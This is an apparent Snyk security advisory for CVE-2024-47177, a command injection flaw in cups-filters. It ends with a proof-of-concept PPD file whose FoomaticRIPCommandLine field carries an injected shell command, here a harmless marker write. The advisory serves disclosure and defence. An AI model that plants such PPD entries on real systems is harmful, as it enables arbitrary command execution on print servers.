Command Injection Affecting distrotech/cups-filters package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-UNMANAGED-DISTROTECHCUPSFILTERS-8102333
- published27 Sept 2024
- disclosed26 Sept 2024
- creditSimone Margaritelli
Introduced: 26 Sep 2024
CVE-2024-47177 (opens in a new tab)How to fix?
There is no fixed version for distrotech/cups-filters.
Overview
Affected versions of this package are vulnerable to Command Injection via the FoomaticRIPCommandLine entry in the PPD file. An attacker can execute arbitrary commands on the system by injecting malicious commands into this parameter when a print job is processed.
Note: This vulnerability is being investigated and the advisory is being updated as new information is discovered.
PoC
This bug is part of an exploit chain leading to RCE described here.
*PPD-Adobe: "4.3"
*FormatVersion: "4.3"
*FileVersion: "2.0.0"
*LanguageVersion: English
*LanguageEncoding: ISOLatin1
*PSVersion: "(3010.000) 0"
...
...
*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip"
*FoomaticRIPCommandLine: "echo 1 > /tmp/VULNERABLE"
...
...
*DefaultResolution: 300dpi`